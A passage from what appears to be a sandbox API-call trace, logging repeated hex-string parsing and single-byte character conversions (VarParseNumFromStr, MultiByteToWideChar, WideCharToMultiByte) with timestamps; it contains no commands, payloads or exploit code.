pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.733] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="\x17") returned 1 [0061.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x17", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x17", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x17", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x17", lpUsedDefaultChar=0x0) returned 1 [0061.733] VarParseNumFromStr (in: strIn="&H22", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.733] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.734] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0061.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\"", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\"", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\"", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"", lpUsedDefaultChar=0x0) returned 1 [0061.734] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.734] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.734] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.735] VarParseNumFromStr (in: strIn="&H10", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.735] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.735] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\x10") returned 1 [0061.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x10", lpUsedDefaultChar=0x0) returned 1 [0061.736] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.736] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.736] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.736] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.737] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.737] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.737] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.738] VarParseNumFromStr (in: strIn="&H2", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.738] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.738] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\x02") returned 1 [0061.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x02", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x02", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x02", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x02", lpUsedDefaultChar=0x0) returned 1 [0061.738] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.738] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.738] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.739] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.739] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.739] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.740] VarParseNumFromStr (in: strIn="&H4", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.740] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.740] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="\x04") returned 1 [0061.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x04", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x04", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x04", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x04", lpUsedDefaultChar=0x0) returned 1 [0061.740] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.740] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.741] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.741] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.741] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.741] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.742] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.742] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.742] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.743] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.743] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.743] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.743] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.744] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.744] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.745] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.745] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.745] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.746] VarParseNumFromStr (in: strIn="&H4", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.746] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.746] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="\x04") returned 1 [0061.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x04", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x04", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x04", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x04", lpUsedDefaultChar=0x0) returned 1 [0061.746] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.746] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.746] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.747] VarParseNumFromStr (in: strIn="&H0", 